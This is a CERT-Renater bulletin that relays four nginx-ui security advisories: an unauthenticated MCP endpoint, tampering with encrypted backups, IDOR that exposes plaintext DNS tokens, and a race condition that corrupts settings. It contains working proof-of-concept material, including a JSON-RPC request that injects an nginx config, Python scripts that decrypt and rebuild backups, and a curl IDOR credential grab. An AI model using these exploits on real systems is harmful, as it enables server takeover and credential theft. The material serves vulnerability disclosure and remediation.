Ce mail provient de l'extérieur, restons vigilants

=====================================================================

                            CERT-Renater

                Note d'Information No. 2026/VULN346
_____________________________________________________________________

DATE                : 01/04/2026

HARDWARE PLATFORM(S): /

OPERATING SYSTEM(S): Systems running nginx-ui (Go).

=====================================================================
https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-h6c2-x2m2-mwhf
https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-fhh2-gg7w-gwpq
https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-5hf2-vhj6-gj9m
https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-m468-xcm6-fxg4
_____________________________________________________________________


Unauthenticated MCP Endpoint Allows Remote Nginx Takeover
Critical
0xJacky published GHSA-h6c2-x2m2-mwhf Mar 28, 2026

Package
nginx-ui (Go)

Affected versions
all versions

Patched versions
None


Description

Summary

The nginx-ui MCP (Model Context Protocol) integration exposes two HTTP
endpoints: /mcp and /mcp_message. While /mcp requires both IP
whitelisting and authentication (AuthRequired() middleware), the
/mcp_message endpoint only applies IP whitelisting - and the default IP
whitelist is empty, which the middleware treats as "allow all". This
means any network attacker can invoke all MCP tools without
authentication, including restarting nginx, creating/modifying/deleting
nginx configuration files, and triggering automatic config reloads -
achieving complete nginx service takeover.


Details

Vulnerable Code

mcp/router.go:9-17 - Auth asymmetry between endpoints

func InitRouter(r *gin.Engine) {
	r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(),
		func(c *gin.Context) {
			mcp.ServeHTTP(c)
		})
	r.Any("/mcp_message", middleware.IPWhiteList(),
		func(c *gin.Context) {
			mcp.ServeHTTP(c)
		})
}

The /mcp endpoint has middleware.AuthRequired(), but /mcp_message does not.
Both endpoints route to the same mcp.ServeHTTP() handler, which processes
all MCP tool invocations.

internal/middleware/ip_whitelist.go:11-26 - Empty whitelist allows all

func IPWhiteList() gin.HandlerFunc {
	return func(c *gin.Context) {
		clientIP := c.ClientIP()
		if len(settings.AuthSettings.IPWhiteList) == 0 || clientIP == "" || clientIP == "127.0.0.1" || clientIP == "::1" {
			c.Next()
			return
		}
		// ...
	}
}

When IPWhiteList is empty (the default - settings/auth.go initializes Auth{}
with no whitelist), the middleware allows all requests through. This is a
fail-open design.


Available MCP Tools (all invocable without auth)

From mcp/nginx/:

    restart_nginx - restart the nginx process
    reload_nginx - reload nginx configuration
    nginx_status - read nginx status

From mcp/config/:

    nginx_config_add - create new nginx config files
    nginx_config_modify - modify existing config files
    nginx_config_list - list all configurations
    nginx_config_get - read config file contents
    nginx_config_enable - enable/disable sites
    nginx_config_rename - rename config files
    nginx_config_mkdir - create directories
    nginx_config_history - view config history
    nginx_config_base_path - get nginx config directory path


Attack Scenario

    Attacker sends HTTP requests to http://target:9000/mcp_message (default port)
    No authentication is required - IP whitelist is empty by default
    Attacker invokes nginx_config_modify with relative_path="nginx.conf"
to rewrite the main nginx configuration (e.g., inject a reverse proxy
that logs Authorization headers)
    nginx_config_add auto-reloads nginx (config_add.go:74), or attacker
calls reload_nginx directly
    All traffic through nginx is now under attacker control - requests
intercepted, redirected, or denied


PoC

1. The auth asymmetry is visible by comparing the two route
registrations in mcp/router.go:

// Line 10 - /mcp requires auth:
r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(), func(c *gin.Context) { mcp.ServeHTTP(c) })

// Line 14 - /mcp_message does NOT:
r.Any("/mcp_message", middleware.IPWhiteList(), func(c *gin.Context) { mcp.ServeHTTP(c) })

Both call the same mcp.ServeHTTP(c) handler, which dispatches all tool invocations.

2. The IP whitelist defaults to empty, allowing all IPs. From settings/auth.go:

var AuthSettings = &Auth{
    BanThresholdMinutes: 10,
    MaxAttempts:         10,
    // IPWhiteList is not initialized - defaults to nil/empty slice
}

And the middleware at internal/middleware/ip_whitelist.go:14 passes all
requests when the list is empty:

if len(settings.AuthSettings.IPWhiteList) == 0 || clientIP == "" || clientIP == "127.0.0.1" || clientIP == "::1" {
    c.Next()
    return
}

3. Config writes auto-reload nginx. From mcp/config/config_add.go:

err := os.WriteFile(path, []byte(content), 0644)  // Line 69: write config file
// ...
res := nginx.Control(nginx.Reload)                 // Line 74: immediate reload

4. Exploit request. An attacker with network access to port 9000 can invoke
any MCP tool via the SSE message endpoint. For example, to create a
malicious nginx config that logs authorization headers:

POST /mcp_message HTTP/1.1
Content-Type: application/json

{
  "jsonrpc": "2.0",
  "method": "tools/call",
  "params": {
    "name": "nginx_config_add",
    "arguments": {
      "name": "evil.conf",
      "content": "server { listen 8443; location / { proxy_pass http://127.0.0.1:9000; access_log /etc/nginx/conf.d/tokens.log; } }",
      "base_dir": "conf.d",
      "overwrite": true,
      "sync_node_ids": []
    }
  },
  "id": 1
}

No Authorization header is needed. The config is written and nginx
reloads immediately.


Impact

    Complete nginx service takeover: An unauthenticated attacker can create,
modify, and delete any nginx configuration file within the config directory,
then trigger immediate reload/restart
    Traffic interception: Attacker can rewrite server blocks to proxy all traffic
through an attacker-controlled endpoint, capturing credentials, session
tokens, and sensitive data in transit
    Service disruption: Writing an invalid config and triggering reload
takes nginx offline, affecting all proxied services
    Configuration exfiltration: All existing nginx configs are readable via
nginx_config_get, revealing backend topology, upstream servers, TLS certificate
paths, and authentication headers
    Credential harvesting: By injecting access_log directives with custom
log_format patterns, the attacker can capture Authorization headers from
administrators accessing nginx-ui, enabling escalation to the REST API


Remediation

Add middleware.AuthRequired() to the /mcp_message route:

r.Any("/mcp_message", middleware.IPWhiteList(), middleware.AuthRequired(),
    func(c *gin.Context) {
        mcp.ServeHTTP(c)
    })

Additionally, consider changing the IP whitelist default behavior to deny-all
when unconfigured, rather than allow-all.


Severity
Critical
9.8/ 10

CVSS v3 base metrics
Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVE ID
CVE-2026-33032

Weaknesses
Weakness CWE-306

Credits

    @yotampe-pluto yotampe-pluto Reporter



_____________________________________________________________________


nginx-ui Backup Restore Allows Tampering with Encrypted Backups
Critical
0xJacky published GHSA-fhh2-gg7w-gwpq Mar 28, 2026

Package
/0xJacky/nginx-ui (Go)

Affected versions
< = 2.3.3

Patched versions
2.3.4


Description

Summary

The nginx-ui backup restore mechanism allows attackers to tamper with
encrypted backup archives and inject malicious configuration during
restoration.


Details

The backup format lacks a trusted integrity root. Although files are
encrypted, the encryption key and IV are provided to the client and the
integrity metadata (hash_info.txt) is encrypted using the same key. As a
result, an attacker who can access the backup token can decrypt the
archive, modify its contents, recompute integrity hashes, and re-encrypt
the bundle.

Because the restore process does not enforce integrity verification and
accepts backups even when hash mismatches are detected, the system
restores attacker-controlled configuration even when integrity
verification warnings are raised. In certain configurations this may lead
to arbitrary command execution on the host.


The backup system is built around the following workflow:

    Backup files are compressed into nginx-ui.zip and nginx.zip.
    The files are encrypted using AES-256-CBC.
    SHA-256 hashes of the encrypted files are stored in hash_info.txt.
    The hash file is also encrypted with the same AES key and IV.
    The AES key and IV are provided to the client as a "backup security token".

This architecture creates a circular trust model:

    The encryption key is available to the client.
    The integrity metadata is encrypted with that same key.
    The restore process trusts hashes contained within the backup itself.

Because the attacker can decrypt and re-encrypt all files using the
provided token, they can also recompute valid hashes for any modified
content.


Environment

    OS: Kali Linux 6.17.10-1kali1 (6.17.10+kali-amd64)
    Application Version: nginx-ui v2.3.3 (513) e5da6dd (go1.26.0)
    Deployment: Docker Container default installation
    Relevant Source Files:
        backup_crypto.go
        backup.go
        restore.go
        SystemRestoreContent.vue

PoC

    Generate a backup and extract the security token (Key and IV) from
the HTTP response headers or the .key file.
    image

    Decrypt the nginx-ui.zip archive using the obtained token.

import base64
import os
import sys
import zipfile
from io import BytesIO
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

def decrypt_aes_cbc(encrypted_data: bytes, key_b64: str, iv_b64: str) -> bytes:
    key = base64.b64decode(key_b64)
    iv = base64.b64decode(iv_b64)
    
    cipher = AES.new(key, AES.MODE_CBC, iv)
    decrypted = cipher.decrypt(encrypted_data)
    return unpad(decrypted, AES.block_size)

def process_local_backup(file_path, token, output_dir):
    key_b64, iv_b64 = token.split(":")
    os.makedirs(output_dir, exist_ok=True)
    print(f"[*] File processing: {file_path}")
    
    with zipfile.ZipFile(file_path, 'r') as main_zip:
        main_zip.extractall(output_dir)
        
    files_to_decrypt = ["hash_info.txt", "nginx-ui.zip", "nginx.zip"]
    
    for filename in files_to_decrypt:
        path = os.path.join(output_dir, filename)
        if os.path.exists(path):
            with open(path, "rb") as f:
                encrypted = f.read()
            
            decrypted = decrypt_aes_cbc(encrypted, key_b64, iv_b64)
            
            out_path = path + ".decrypted"
            with open(out_path, "wb") as f:
                f.write(decrypted)
            print(f"[*] Successfully decrypted: {out_path}")

# Manual config
BACKUP_FILE = "backup-20260314-151959.zip" 
TOKEN = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
OUTPUT = "decrypted"

if __name__ == "__main__":
    process_local_backup(BACKUP_FILE, TOKEN, OUTPUT)

    Modify the contained app.ini to inject malicious configuration (e.g., StartCmd = bash).
    Re-compress the files and calculate the new SHA-256 hash.
    Update hash_info.txt with the new, legitimate-looking hashes for the modified files.
    Encrypt the bundle again using the original Key and IV.

import base64
import hashlib
import os
import zipfile
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

def encrypt_file(data, key_b64, iv_b64):
    key = base64.b64decode(key_b64)
    iv = base64.b64decode(iv_b64)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    return cipher.encrypt(pad(data, AES.block_size))

def build_rebuilt_backup(files, token, output_filename="backup_rebuild.zip"):
    key_b64, iv_b64 = token.split(":")
    
    encrypted_blobs = {}
    for fname in files:
        with open(fname, "rb") as f:
            data = f.read()
        
        blob = encrypt_file(data, key_b64, iv_b64)

        target_name = fname.replace(".decrypted", "")
        encrypted_blobs[target_name] = blob
        print(f"[*] Cipher {target_name}: {len(blob)} bytes")

    hash_content = ""
    for name, blob in encrypted_blobs.items():
        h = hashlib.sha256(blob).hexdigest()
        hash_content += f"{name}: {h}\n"
    
    encrypted_hash_info = encrypt_file(hash_content.encode(), key_b64, iv_b64)
    encrypted_blobs["hash_info.txt"] = encrypted_hash_info

    with zipfile.ZipFile(output_filename, 'w', compression=zipfile.ZIP_DEFLATED) as zf:
        for name, blob in encrypted_blobs.items():
            zf.writestr(name, blob)
            
    print(f"\n[*] Backup rebuild: {output_filename}")
    print(f"[*] Verificando integridad...")

TOKEN = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
FILES = ["nginx-ui.zip.decrypted", "nginx.zip.decrypted"]

if __name__ == "__main__":
    build_rebuilt_backup(FILES, TOKEN)

    Upload the tampered backup to the nginx-ui restore interface.
    image

    Observation: The system accepts the modified backup. Although a warning may
appear, the restoration proceeds and the malicious configuration is applied,
granting the attacker arbitrary command execution on the host.
    image



Impact

An attacker capable of uploading or supplying a malicious backup can modify
application configuration and internal state during restoration.

Potential impacts include:

    Persistent configuration tampering
    Backdoor insertion into nginx configuration
    Execution of attacker-controlled commands depending on configuration
settings
    Full compromise of the nginx-ui instance

The severity depends on the restore permissions and deployment configuration.


Recommended Mitigation

    Introduce a trusted integrity root
    Integrity metadata must not be derived solely from data contained in the
backup. Possible solutions include:
        Signing backup metadata using a server-side private key
        Storing integrity metadata separately from the backup archive

    Enforce integrity verification
    The restore operation must abort if hash verification fails.

    Avoid circular trust models
    If encryption keys are distributed to clients, the backup must not rely
on attacker-controlled metadata for integrity validation.

    Optional cryptographic improvements
    While not sufficient alone, switching to an authenticated encryption scheme
such as AES-GCM can simplify integrity protection if the encryption keys
remain secret.

This vulnerability arises from a circular trust model where integrity metadata
is protected using the same key that is provided to the client, allowing
attackers to recompute valid integrity data after modifying the archive.


Regression

The previously reported vulnerability (GHSA-g9w5-qffc-6762) addressed
unauthorized access to backup files but did not resolve the underlying
cryptographic design issue.

The backup format still allows attacker-controlled modification of encrypted
backup contents because integrity metadata is protected using the same key
distributed to clients.

As a result, the fundamental integrity weakness remains exploitable even
after the previous fix.


Severity
Critical
9.4/ 10

CVSS v4 base metrics
Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required High
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality High
Integrity High
Availability High
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

CVE ID
CVE-2026-33026

Weaknesses
Weakness CWE-312
Weakness CWE-347
Weakness CWE-354

Credits

    @dapickle dapickle Reporter



_____________________________________________________________________


Unencrypted Storage of DNS API Tokens and ACME Private Keys
High
0xJacky published GHSA-5hf2-vhj6-gj9m Mar 28, 2026

Package
https://github.com/0xJacky/nginx-ui (Go)

Affected versions
v2.3.3

Patched versions
None


Description

Summary

Nginx-UI contains an Insecure Direct Object Reference (IDOR)
vulnerability that allows any authenticated user to access, modify,
and delete resources belonging to other users. The application's base
Model struct lacks a user_id field, and all resource endpoints perform
queries by ID without verifying user ownership, enabling complete
authorization bypass in multi-user environments.


Severity

High - CVSS 3.1 Score: 8.8 (High)

Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Note: Original score was 7.5. The score was updated to 8.8 after
discovering that sensitive data (DNS API tokens, ACME private keys) is
stored in plaintext, which when combined with IDOR allows immediate
credential theft without decryption.


Product

nginx-ui


Affected Versions

All versions up to and including v2.3.3


CWE

CWE-639: Authorization Bypass Through User-Controlled Key


Description
Exposed DNS Provider Credentials

The dns.Config structure (internal/cert/dns/config_env.go) contains
API credentials:

type Configuration struct {
    Credentials map[string]string `json:"credentials"`  // API tokens here
    Additional  map[string]string `json:"additional"`
}

Provider 	Credential Fields 	Impact if Leaked
Cloudflare 	CF_API_TOKEN 	Full DNS zone control
Alibaba Cloud DNS 	ALICLOUD_ACCESS_KEY, ALICLOUD_SECRET_KEY 	Full DNS control + potential IAM access
Tencent Cloud DNS 	TENCENTCLOUD_SECRET_ID, TENCENTCLOUD_SECRET_KEY 	Full DNS control
AWS Route53 	AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY 	Route53 + potential AWS access
GoDaddy 	GODADDY_API_KEY, GODADDY_API_SECRET 	DNS record modification
Combined Attack: IDOR + Plaintext Storage

When the IDOR vulnerability is combined with plaintext storage, attackers
can directly extract API tokens from other users' resources:

Attack Chain:
┌─────────────────────────────────────────────────────────────────┐
│ 1. Attacker authenticates with low-privilege account            │
│ 2. Uses IDOR to enumerate: /api/dns_credentials/1,2,3...      │
│ 3. Reads plaintext API tokens directly from HTTP response       │
│ 4. No decryption needed - tokens stored in cleartext            │
│ 5. Uses stolen tokens to:                                       │
│    - Modify DNS records (domain hijacking)                      │
│    - Issue fraudulent SSL certificates                          │
│    - Pivot to cloud infrastructure                              │
└─────────────────────────────────────────────────────────────────┘

PoC: Extracting Plaintext Credentials via IDOR

# Attacker with low-privilege token accessing admin's DNS credential
curl -H "Authorization: $ATTACKER_TOKEN" \
     https://nginx-ui.example.com/api/dns_credentials/1

# Response contains PLAINTEXT API token (no decryption required):
{
    "id": 1,
    "name": "Production Cloudflare",
    "provider": "cloudflare",
    "config": {
        "credentials": {
            "CF_API_TOKEN": "yhyQ7xR...plaintext_token_visible..."
        }
    }
}

Updated CVSS Score with Plaintext Storage

The plaintext storage increases the confidentiality impact:

CVSS 3.1 Score: 8.8 (High)

Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

    Scope Changed (S:C): Impact extends to external services (DNS providers, cloud platforms)
    High Confidentiality (C:H): Plaintext API tokens immediately usable
    High Integrity (I:H): DNS records, certificates can be modified
    High Availability (A:H): Services can be disrupted via DNS/certificate manipulation

Attack Scenario: Certificate Hijacking

1. Attacker creates low-privilege account on nginx-ui
2. Uses IDOR to enumerate all DNS credentials: /api/dns_credentials/1,2,3...
3. Steals Cloudflare API token from admin's credential
4. Uses token to:
   - Modify DNS records
   - Issue fraudulent Let's Encrypt certificates
   - Intercept traffic to victim domains


Credit

Discovered by security researcher during authorized security audit.


Recommendation

Immediate Mitigation

    Add User Ownership to Models

// model/model.go
type Model struct {
    ID        uint64          `gorm:"primary_key" json:"id"`
    UserID    uint64          `gorm:"index" json:"user_id"`  // Add this field
    CreatedAt time.Time       `json:"created_at"`
    UpdatedAt time.Time       `json:"updated_at"`
    DeletedAt *gorm.DeletedAt `gorm:"index" json:"deleted_at,omitempty"`
}

    Filter Queries by Current User

// api/certificate/dns_credential.go
func GetDnsCredential(c *gin.Context) {
    id := cast.ToUint64(c.Param("id"))
    currentUser := c.MustGet("user").(*model.User)

    d := query.DnsCredential
    dnsCredential, err := d.Where(
        d.ID.Eq(id),
        d.UserID.Eq(currentUser.ID),  // Add user filter
    ).First()

    if err != nil {
        cosy.ErrHandler(c, err)
        return
    }
    // ...
}

    Add Authorization Middleware

// middleware/authorization.go
func RequireOwnership(resourceType string) gin.HandlerFunc {
    return func(c *gin.Context) {
        currentUser := c.MustGet("user").(*model.User)
        resourceID := cast.ToUint64(c.Param("id"))

        // Check if resource belongs to current user
        ownerID, err := getResourceOwner(resourceType, resourceID)
        if err != nil || ownerID != currentUser.ID {
            c.AbortWithStatusJSON(http.StatusForbidden, gin.H{
                "message": "Access denied",
            })
            return
        }
        c.Next()
    }
}

Database Migration

-- Add user_id column to all resource tables
ALTER TABLE dns_credentials ADD COLUMN user_id BIGINT;
ALTER TABLE certs ADD COLUMN user_id BIGINT;
ALTER TABLE acme_users ADD COLUMN user_id BIGINT;
ALTER TABLE sites ADD COLUMN user_id BIGINT;
ALTER TABLE streams ADD COLUMN user_id BIGINT;
ALTER TABLE configs ADD COLUMN user_id BIGINT;

-- Set default owner for existing resources
UPDATE dns_credentials SET user_id = 1 WHERE user_id IS NULL;
UPDATE certs SET user_id = 1 WHERE user_id IS NULL;

-- Add foreign key constraint
ALTER TABLE dns_credentials ADD CONSTRAINT fk_dns_credentials_user
    FOREIGN KEY (user_id) REFERENCES users(id);

Long-term Improvements

    Implement role-based access control (RBAC)
    Add audit logging for resource access
    Implement resource sharing functionality with explicit permissions
    Add integration tests for authorization checks

Remediation for Plaintext Storage
Immediate Fix: Encrypt Sensitive Fields

Apply the same serializer:json[aes] pattern used for S3 credentials to
DNS and ACME data:

model/dns_credential.go:

type DnsCredential struct {
    Model
    Name         string      `json:"name"`
    Config       *dns.Config `json:"config,omitempty" gorm:"serializer:json[aes]"` // Add AES encryption
    Provider     string      `json:"provider"`
    ProviderCode string      `json:"provider_code" gorm:"index"`
}

model/acme_user.go:

type AcmeUser struct {
    Model
    // ...
    Key PrivateKey `json:"-" gorm:"serializer:json[aes]"` // Add AES encryption
    // ...
}


Data Migration

Existing plaintext data must be re-saved to trigger encryption:

func MigrateSensitiveData() error {
    // Migrate DNS credentials
    var dnsCreds []model.DnsCredential
    query.DnsCredential.Find(&dnsCreds)
    for _, cred := range dnsCreds {
        query.DnsCredential.Save(&cred) // Re-save triggers AES encryption
    }

    // Migrate ACME users
    var acmeUsers []model.AcmeUser
    query.AcmeUser.Find(&acmeUsers)
    for _, user := range acmeUsers {
        query.AcmeUser.Save(&user)
    }

    return nil
}

Summary of Required Changes
File 	Line 	Current 	Fix
model/dns_credential.go 	7 	serializer:json 	serializer:json[aes]
model/acme_user.go 	Key field 	serializer:json 	serializer:json[aes]


References

    CWE-639: Authorization Bypass Through User-Controlled Key
    OWASP IDOR Prevention Cheat Sheet
    PortSwigger: IDOR Vulnerabilities


Disclosure Timeline

    2026-03-13: Vulnerability discovered through source code audit
    2026-03-13: Vulnerability successfully reproduced in local Docker environment
    2026-03-13: All IDOR operations verified: READ, MODIFY, DELETE
    2026-03-13: Security advisory prepared
    [Pending]: Report submitted to nginx-ui maintainers
    [Pending]: CVE ID requested
    [Pending]: Patch developed and tested
    [Pending]: Public disclosure (21-90 days after vendor notification)


Severity
High
8.8/ 10

CVSS v3 base metrics
Attack vector
Local
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CVE ID
CVE-2026-33030

Weaknesses
Weakness CWE-78
Weakness CWE-639


Credits

    @f1veT f1veT Reporter

_____________________________________________________________________


Race Condition Leads to Persistent Data Corruption and Service Collapse
High
0xJacky published GHSA-m468-xcm6-fxg4 Mar 28, 2026

Package
/0xJacky/nginx-ui (Go)

Affected versions
< = 2.3.3

Patched versions
2.3.4


github.com/uozi-tech/cosy (Go)
Affected versions
< 1.30.0
Patched versions
1.30.1


Description

Summary

The nginx-ui application is vulnerable to a Race Condition. Due to the complete
absence of synchronization mechanisms (Mutex) and non-atomic file writes,
concurrent requests lead to the severe corruption of the primary configuration
file (app.ini). This vulnerability results in a persistent Denial of Service
(DoS) and introduces a non-deterministic path for Remote Code Execution (RCE)
through configuration cross-contamination.


Details

The vulnerability exists because the settings update pipeline does not implement
any synchronization primitives. When multiple requests reach the handler
simultaneously:

    Memory Corruption: ProtectedFill() modifies shared global singleton pointers
without thread-safety, leading to inconsistent states in memory.
    File Corruption: The underlying library (gopkg.in/ini.v1) performs direct
overwrites. Concurrent write operations interleave at the OS level, resulting
in app.ini files with empty leading lines, truncated fields, or partially
overwritten configuration keys.
    State Persistent Failure: Depending on which bytes are corrupted, the
application either fails its "is-installed" check (redirecting to /install)
or encounters a fatal error during boot/runtime that prevents the process
from responding to any further requests.


Environment:

    OS: Kali Linux 6.17.10-1kali1 (6.17.10+kali-amd64)
    Application Version: nginx-ui v2.3.3 (513) e5da6dd (go1.26.0)
    Deployment: Docker Container


PoC

    Check original app.ini file valid state:

image

    Log in to the nginx-ui dashboard.
    Navigate to Preferences and update settings. Capture a POST /api/settings
request and send it to Burp Suite Intruder.
    Configure the attack with Null payloads (to test basic concurrency) or a
Fuzzing list (to test data-driven corruption).
    Set the Resource Pool to 20-50 concurrent requests.

image

    Observation (In-flight corruption): Monitor the app.ini file. You will
observe the file being written with empty leading lines or incomplete
key-value pairs.

    image

    image

    Observation (Recovery Failure): If the service redirects to /install,
attempting to complete the setup again often fails because the underlying
configuration state is too corrupted to be reconciled by the installer logic.

    Observation (Total Service Collapse): When the corruption in app.ini
becomes so severe, the Go runtime or the INI parser encounters a fatal
error, causing the Nginx-UI service to stop responding entirely (Hard DoS).

image

    Observation (Cross-Section Contamination): During testing, it was observed
that sometimes INI sections become interleaved. For example, fields
belonging to the [nginx] section (like ConfigDir or ReloadCmd) were
erroneously written under the [webauthn] section.

    Example of corrupted output observed:

[webauthn]
RPDisplayName  = 
RPID           = 
RPOrigins      = 
gDirWhiteList  = 
ConfigDir      = /etc/nginx
ConfigPath     = 
PIDPath        = /run/nginx.pid
SbinPath       = 
TestConfigCmd  = 
ReloadCmd      = nginx -s reload
RestartCmd     = nginx -s stop
StubStatusPort = 51820
ContainerName  = 

Impact

This is a High security risk (CWE-362: Race Condition).

    Integrity: Permanent corruption of application settings and
system-level configuration.
    Availability: High. The attack results in a persistent Denial
of Service that cannot be recovered via the web UI.
    Remote Code Execution (RCE) Risk: Since the application allows
updating certain fields (like Node Name) and uses others as shell commands
(like ReloadCmd or RestartCmd), the observed "cross-contamination" of INI
values means an attacker could potentially force a user-controlled string
into a command execution field. If ReloadCmd is overwritten with a
malicious payload provided in another field, the next nginx reload will
execute that payload. While highly impactful, this specific exploit path is
non-deterministic and depends on the precise interleaving of thread
execution, making targeted exploitation difficult.

Recommended Mitigation

    Implement Mutex Locking: Wrap the ProtectedFill and settings.Save()
calls in a sync.Mutex to serialize access to global settings.
    Atomic File Writes: Implement a "write-then-rename" strategy. Write
the new configuration to app.ini.tmp and use os.Rename() to replace the
original file atomically, ensuring the configuration file is always in
a valid state.


Severity
High
7.1/ 10

CVSS v4 base metrics
Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required High
User interaction None
Vulnerable System Impact Metrics
Confidentiality Low
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:H/VA:H/SC:N/SI:N/SA:N

CVE ID
CVE-2026-33028

Weaknesses
Weakness CWE-362

Credits

    @dapickle dapickle Reporter



=========================================================
+ CERT-RENATER        |    tel : 01-53-94-20-44         +
+ 23/25 Rue Daviel    |    fax : 01-53-94-20-41         +
+ 75013 Paris         |   email:cert@support.renater.fr +
=========================================================




